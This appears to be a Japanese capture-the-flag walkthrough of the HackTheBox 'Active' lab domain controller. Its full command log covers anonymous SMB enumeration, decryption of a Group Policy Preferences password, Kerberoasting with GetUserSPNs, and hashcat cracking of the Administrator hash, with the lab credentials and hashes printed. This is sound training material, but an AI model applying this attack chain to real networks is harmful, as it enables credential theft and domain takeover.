HackTheBox - Active (Windows)
HackTheBox Active Windows マシン解説。サービス列挙・初期足がかり・権限昇格経路を解説。
HackTheBox - Active (Windows)
概要
| 項目 | 内容 |
|---|---|
| OS | Windows |
| 難易度 | 記録なし |
| 攻撃対象 | 53/tcp open domain, 88/tcp open kerberos-sec, 135/tcp open msrpc, 139/tcp open netbios-ssn, 389/tcp open ldap, 445/tcp open microsoft-ds? |
| 主な侵入経路 | windows-host, web attack path to foothold |
| 権限昇格経路 | Local misconfiguration or credential reuse to elevate privileges |
偵察
1. PortScan
Rustscan
💡 なぜ有効か
High-quality reconnaissance narrows a large attack surface into a few validated exploitation paths. Accurate service mapping prevents time loss and supports targeted follow-up testing.
初期足がかり
Not implemented (or log not saved)
Nmap
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nmap -p- -sC -sV -T4 -A -Pn $ip
2. Local Shell
SMB/LDAP/Kerberos が揃った AD 環境のため、匿名アクセス可能な共有と AS-REP Roasting の可否を最優先で確認します。 列挙段階で得たユーザ一覧と共有ファイル名の相関を取り、Kerberos 由来のハッシュ取得に繋げる流れが有効です。 権限昇格は ACL 誤設定や高権限資格情報の再利用を軸に、WinRM か PsExec で到達確認します。
実施コマンド（抜粋）
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netexec smb $ip
cat Groups.xml
python3 GetUserSPNs.py -request -dc-ip $ip active.htb/SVC_TGS:'GPPstillStandingStrong2k18'
cat root.txt
実施ログ（統合）
ポートスキャン実施
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✅[0:36][CPU:0][MEM:21][IP:10.10.14.92][/home/n0z0]
🐉 > nmap -p- -sC -sV -T4 -A -Pn $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 00:36 JST
Nmap scan report for 10.129.148.45
Host is up (0.27s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-23 15:57:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/24%OT=53%CT=1%CU=31196%PV=Y%DS=2%DC=T%G=Y%TM=676
OS:988C6%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S
OS:%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O
OS:5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6
OS:=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-23T15:58:47
|_ start_date: 2024-12-23T15:34:17
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 270.88 ms 10.10.14.1
2 271.08 ms 10.129.148.45
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1333.47 seconds
smbやらkerberosやらいろいろ空いてる
SMBで空いてそうなディスクが複数あり
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✅[0:39][CPU:0][MEM:22][IP:10.10.14.92][/home/n0z0]
🐉 > enum4linux -a $ip
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Dec 24 00:40:27 2024
=========================================( Target Information )=========================================
Target ........... 10.129.148.45
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 10.129.148.45 )===========================
[E] Can't find workgroup/domain
===============================( Nbtstat Information for 10.129.148.45 )===============================
Looking up status of 10.129.148.45
No reply from 10.129.148.45
===================================( Session Check on 10.129.148.45 )===================================
[+] Server 10.129.148.45 allows sessions using username '', password ''
================================( Getting domain SID for 10.129.148.45 )================================
do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 10.129.148.45 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 10.129.148.45 from srvinfo:
10.129.148.45 Wk Sv PDC Tim NT Domain Controller
platform_id : 500
os version : 6.1
server type : 0x80102b
=======================================( Users on 10.129.148.45 )=======================================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
=================================( Share Enumeration on 10.129.148.45 )=================================
do_connect: Connection to 10.129.148.45 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.129.148.45
//10.129.148.45/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A
//10.129.148.45/C$ Mapping: DENIED Listing: N/A Writing: N/A
//10.129.148.45/IPC$ Mapping: OK Listing: DENIED Writing: N/A
//10.129.148.45/NETLOGON Mapping: DENIED Listing: N/A Writing: N/A
//10.129.148.45/Replication Mapping: OK Listing: OK Writing: N/A
//10.129.148.45/SYSVOL Mapping: DENIED Listing: N/A Writing: N/A
//10.129.148.45/Users Mapping: DENIED Listing: N/A Writing: N/A
===========================( Password Policy Information for 10.129.148.45 )===========================
[E] Unexpected error from polenum:
[+] Attaching to 10.129.148.45 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.129.148.45)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[E] Failed to get password policy with rpcclient
======================================( Groups on 10.129.148.45 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 10.129.148.45 via RID cycling (RIDS: 500-550,1000-1050) )==================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
===============================( Getting printer info for 10.129.148.45 )===============================
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Tue Dec 24 00:41:49 2024
脆弱性は特になし
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✅[0:36][CPU:0][MEM:21][IP:10.10.14.92][/home/n0z0]
🐉 > smbclient -L //$ip -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.148.45 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
✅[0:40][CPU:0][MEM:22][IP:10.10.14.92][/home/n0z0]
🐉 > nmap --script smb-vuln* -p 445 $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 00:40 JST
Nmap scan report for 10.129.148.45
Host is up (0.27s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds
ldapの調査
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✅[2:29][CPU:1][MEM:19][IP:10.10.14.92][...python3-impacket/examples]
🐉 > ldapsearch -x -H ldap://$ip -s base
### extended LDIF
#
### requesting: ALL
#
#
dn:
currentTime: 20241223172920.0Z
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=active,DC=htb
dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
=Sites,CN=Configuration,DC=active,DC=htb
namingContexts: DC=active,DC=htb
namingContexts: CN=Configuration,DC=active,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb
namingContexts: DC=DomainDnsZones,DC=active,DC=htb
namingContexts: DC=ForestDnsZones,DC=active,DC=htb
defaultNamingContext: DC=active,DC=htb
schemaNamingContext: CN=Schema,CN=Configuration,DC=active,DC=htb
configurationNamingContext: CN=Configuration,DC=active,DC=htb
rootDomainNamingContext: DC=active,DC=htb
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
highestCommittedUSN: 110734
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
dnsHostName: DC.active.htb
ldapServiceName: active.htb:dc$@ACTIVE.HTB
serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configurat
ion,DC=active,DC=htb
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
isSynchronized: TRUE
isGlobalCatalogReady: TRUE
domainFunctionality: 4
forestFunctionality: 4
domainControllerFunctionality: 4
### search result
search: 2
result: 0 Success
### numEntries: 1
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❌[2:35][CPU:1][MEM:21][IP:10.10.14.92][/home/n0z0]
🐉 > netexec smb $ip
SMB 10.129.148.45 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
ユーザの特定
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❌[1:56][CPU:1][MEM:19][IP:10.10.14.92][/home/n0z0/tools/windows]
🐉 > ./kerbrute userenum --dc $ip -d active.htb /usr/share/wordlists/usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/24/24 - Ronnie Flathers @ropnop
2024/12/24 01:56:44 > Using KDC(s):
2024/12/24 01:56:44 > 10.129.148.45:88
2024/12/24 01:57:07 > [+] VALID USERNAME: administrator@active.htb
2024/12/24 02:05:03 > [+] VALID USERNAME: dc@active.htb
impacketを使って接続する
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python3 ~/tools/windows/impacket/smbclient.py -no-pass $ip
xmlファイルが見つかって、中を見ると認証情報が書いてありそうな感じがした
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smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Sat Jul 21 19:37:44 2018
.. D 0 Sat Jul 21 19:37:44 2018
Groups.xml
中を見ると認証情報が記載されてる
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✅[0:53][CPU:0][MEM:20][IP:10.10.14.92][/home/n0z0/tools/windows]
🐉 > cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
どうにかハッシュを解析するとパスワードが出てくる
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✅[1:44][CPU:1][MEM:20][IP:10.10.14.92][...home/n0z0/work/htb/Active]
🐉 > gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
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✅[0:24][CPU:0][MEM:19][IP:10.10.14.92][...python3-impacket/examples]
🐉 > sudo smbmap -H active.htb -u '' -p '' -r
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[|] Checking for open ports...
[/] Checking for open ports...
[-] Checking for open ports...
[\] Checking for open ports...
[|] Checking for open ports...
[*] Detected 1 hosts serving SMB
[/] Initializing hosts...
[-] Initializing hosts...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[\] Authenticating...
[|] Enumerating shares...
[|] Traversing shares...
NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
./Replication
dr--r--r-- 0 Sat Jul 21 19:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 19:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 19:37:44 2018 active.htb
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
[/] Closing connections..
[-] Closing connections..
取得したパスワードを設定するとみられる箇所が増える
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✅[1:48][CPU:1][MEM:20][IP:10.10.14.92][...z0/tools/windows/impacket]
🐉 > smbmap -H $ip -u SVC_TGS -p 'GPPstillStandingStrong2k18'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[|] Checking for open ports...
[/] Checking for open ports...
[-] Checking for open ports...
[\] Checking for open ports...
[|] Checking for open ports...
[/] Checking for open ports...
[*] Detected 1 hosts serving SMB
[-] Initializing hosts...
[/] Authenticating...
[-] Authenticating...
[\] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[|] Authenticating..
[-] Enumerating shares...
[/] Enumerating shares...
[+] IP: 10.129.103.88:445 Name: active.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
[-] Closing connections..
[-] Closing connections..
[*] Closed 1 connections
ユーザのSPNを取得するコマンドを実行すると情報が取得できた
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❌[2:09][CPU:1][MEM:20][IP:10.10.14.92][...z0/tools/windows/impacket]
🐉 > python3 GetUserSPNs.py -request -dc-ip $ip active.htb/SVC_TGS:'GPPstillStandingStrong2k18'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 04:06:40.351723 2024-12-26 22:57:37.262940
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$afbafdd7afc93c95bb278d8b82961262$10fdae20de11abef2a5ce2bba9929f7dc39a9053a8e1eaaa22260aae8c3a9fe1fc6038102d48876c68f0456bb7efb56ad462f183327e189f28c330afb3d70af809881c46759d8aacd337970459856012375457bc28bcecbe92cc6ed8332d3dca66f011080c349bdf71937f86db440983004a065093278b1579a8f669d6ea165163ec09b08cb65a502a4050b97618eb28989a1fc941a160336a092608d9801023ab569686f80d2a93d7880f53cb61be184ed168323678a13410d4003ef3380c1f3504aad313cf107ee9f7f5ea13a7738c45f74857a7232fd22fdd0fe0ae74870d6622643e6e8824dd2f525c50ff7f327b7705e174433f8093e1c0c4809062caed06c14a5ed629f6e14487a74e6834e6700d5b46c57c1c1500c89164039d3c7abfb2f7f9856583920fb33d86d112b791fcd6f3691c71bacc493652aa8243e083ae3f745b48f6cd458619ef558068225524cf4f5b92bf4b239c92cc33294071d906378ff417e8ea4b678edc89b5ee21312ef9b6ae02f466bd459da242ddef52e5b19bc99de0291111832c7da6f2aeef230f8564efcea5254da67cf64567ffccfec52fb7df88219ea833055837a8cc910c3d44bb927dafa71d42d9bc52e80040af72ab15b66c4129032872e0bd30a59725ab3f5b62faf1ad0d5cf593837a99b4151556c7180f59fc34851fc4aadb18d7bac172f353258f5d8fdef55548b398368153a0e5dec12024c326ad0d67d0431b0b5e94a636f2469adcdbe3b7ce2389385d30abad96151bf8043a840fd8a3dbccbd2b6df1382f3708fcfc60fc37b1657d24626755eafb694a7d85e3e95e2239abdb5edb30b9d7707325a33e713755ac805f44dbbd4f81245641aa20c1daaa05b0b72d37ff7eb417bab30ca429318fa4d2f0fb51fbc354c435771d252f160c1383750b5f1e8d1d1652e9d752929ac41bbde22156c6768a063a55144dbc28f0246c4c9b79e3c4b5923d070b7a8f07bfcbe74741bc9e8503bd7ee67457706fc682ecfabd76722f8b368e347b042f122c907cf515760c59e0c8e5fad5defed7c5fa4a030624a318ae47695b9a4834f0b827a8d271fd9504144d06388053d504e5b803d844d2788b34fb259c0fa1a97f35d3e04b2187edb3f7bc5a93a4389651f51b6a316be3d96323c23ddb1d60b362cd0f2107d039910657926684b393ae9ca314a29366b1f62fd33cf51288b00103cce59a9fa37f2d47d63d6218d57e375aaf61332ca4dcfb73188ec293ba0ba0
取得したハッシュをhashcatで解析する
kerberosは13100を指定して実行する
Caption: Screenshot captured during active attack workflow (step 1).
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✅[2:11][CPU:1][MEM:20][IP:10.10.14.92][...home/n0z0/work/htb/Active]
🐉 > hashcat -m 13100 -a 0 krbhash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 Microsoft Surface (R) Edition, 2777/5618 MB (1024 MB allocatable), 16MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 4 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$afbafdd7afc93c95bb278d8b82961262$10fdae20de11abef2a5ce2bba9929f7dc39a9053a8e1eaaa22260aae8c3a9fe1fc6038102d48876c68f0456bb7efb56ad462f183327e189f28c330afb3d70af809881c46759d8aacd337970459856012375457bc28bcecbe92cc6ed8332d3dca66f011080c349bdf71937f86db440983004a065093278b1579a8f669d6ea165163ec09b08cb65a502a4050b97618eb28989a1fc941a160336a092608d9801023ab569686f80d2a93d7880f53cb61be184ed168323678a13410d4003ef3380c1f3504aad313cf107ee9f7f5ea13a7738c45f74857a7232fd22fdd0fe0ae74870d6622643e6e8824dd2f525c50ff7f327b7705e174433f8093e1c0c4809062caed06c14a5ed629f6e14487a74e6834e6700d5b46c57c1c1500c89164039d3c7abfb2f7f9856583920fb33d86d112b791fcd6f3691c71bacc493652aa8243e083ae3f745b48f6cd458619ef558068225524cf4f5b92bf4b239c92cc33294071d906378ff417e8ea4b678edc89b5ee21312ef9b6ae02f466bd459da242ddef52e5b19bc99de0291111832c7da6f2aeef230f8564efcea5254da67cf64567ffccfec52fb7df88219ea833055837a8cc910c3d44bb927dafa71d42d9bc52e80040af72ab15b66c4129032872e0bd30a59725ab3f5b62faf1ad0d5cf593837a99b4151556c7180f59fc34851fc4aadb18d7bac172f353258f5d8fdef55548b398368153a0e5dec12024c326ad0d67d0431b0b5e94a636f2469adcdbe3b7ce2389385d30abad96151bf8043a840fd8a3dbccbd2b6df1382f3708fcfc60fc37b1657d24626755eafb694a7d85e3e95e2239abdb5edb30b9d7707325a33e713755ac805f44dbbd4f81245641aa20c1daaa05b0b72d37ff7eb417bab30ca429318fa4d2f0fb51fbc354c435771d252f160c1383750b5f1e8d1d1652e9d752929ac41bbde22156c6768a063a55144dbc28f0246c4c9b79e3c4b5923d070b7a8f07bfcbe74741bc9e8503bd7ee67457706fc682ecfabd76722f8b368e347b042f122c907cf515760c59e0c8e5fad5defed7c5fa4a030624a318ae47695b9a4834f0b827a8d271fd9504144d06388053d504e5b803d844d2788b34fb259c0fa1a97f35d3e04b2187edb3f7bc5a93a4389651f51b6a316be3d96323c23ddb1d60b362cd0f2107d039910657926684b393ae9ca314a29366b1f62fd33cf51288b00103cce59a9fa37f2d47d63d6218d57e375aaf61332ca4dcfb73188ec293ba0ba0:Ticketmaster1968
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...ba0ba0
Time.Started.....: Fri Dec 27 02:12:01 2024 (6 secs)
Time.Estimated...: Fri Dec 27 02:12:07 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1820.6 kH/s (1.35ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10543104/14344384 (73.50%)
Rejected.........: 0/10543104 (0.00%)
Restore.Point....: 10534912/14344384 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiona172 -> Teague
Started: Fri Dec 27 02:11:59 2024
Stopped: Fri Dec 27 02:12:09 2024
administratorアカウントで入ってflagを見る
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❌[2:14][CPU:1][MEM:20][IP:10.10.14.92][...z0/tools/windows/impacket]
🐉 > smbclient //$ip/Users -U active.htb\\administrator%Ticketmaster1968
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sat Jul 21 23:39:20 2018
.. DR 0 Sat Jul 21 23:39:20 2018
Administrator D 0 Mon Jul 16 19:14:21 2018
All Users DHSrn 0 Tue Jul 14 14:06:44 2009
Default DHR 0 Tue Jul 14 15:38:21 2009
Default User DHSrn 0 Tue Jul 14 14:06:44 2009
desktop.ini AHS 174 Tue Jul 14 13:57:55 2009
Public DR 0 Tue Jul 14 13:57:55 2009
SVC_TGS D 0 Sun Jul 22 00:16:32 2018
5217023 blocks of size 4096. 278900 blocks available
smb: \> cd administartor
cd \administartor\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> ls
. DR 0 Sat Jul 21 23:39:20 2018
.. DR 0 Sat Jul 21 23:39:20 2018
Administrator D 0 Mon Jul 16 19:14:21 2018
All Users DHSrn 0 Tue Jul 14 14:06:44 2009
Default DHR 0 Tue Jul 14 15:38:21 2009
Default User DHSrn 0 Tue Jul 14 14:06:44 2009
desktop.ini AHS 174 Tue Jul 14 13:57:55 2009
Public DR 0 Tue Jul 14 13:57:55 2009
SVC_TGS D 0 Sun Jul 22 00:16:32 2018
5217023 blocks of size 4096. 278900 blocks available
smb: \> cd Administrator\
lsmb: \Administrator\> ls
. D 0 Mon Jul 16 19:14:21 2018
.. D 0 Mon Jul 16 19:14:21 2018
AppData DHn 0 Thu Dec 26 22:56:59 2024
Application Data DHSrn 0 Mon Jul 16 19:14:15 2018
Contacts DR 0 Mon Jul 30 22:50:10 2018
Cookies DHSrn 0 Mon Jul 16 19:14:15 2018
Desktop DR 0 Fri Jan 22 01:49:47 2021
Documents DR 0 Mon Jul 30 22:50:10 2018
Downloads DR 0 Fri Jan 22 01:52:32 2021
Favorites DR 0 Mon Jul 30 22:50:10 2018
Links DR 0 Mon Jul 30 22:50:10 2018
Local Settings DHSrn 0 Mon Jul 16 19:14:15 2018
Music DR 0 Mon Jul 30 22:50:10 2018
My Documents DHSrn 0 Mon Jul 16 19:14:15 2018
NetHood DHSrn 0 Mon Jul 16 19:14:15 2018
NTUSER.DAT AHSn 524288 Thu Dec 26 22:57:37 2024
ntuser.dat.LOG1 AHS 262144 Thu Dec 26 23:45:02 2024
ntuser.dat.LOG2 AHS 0 Mon Jul 16 19:14:09 2018
NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf AHS 65536 Mon Jul 16 19:14:15 2018
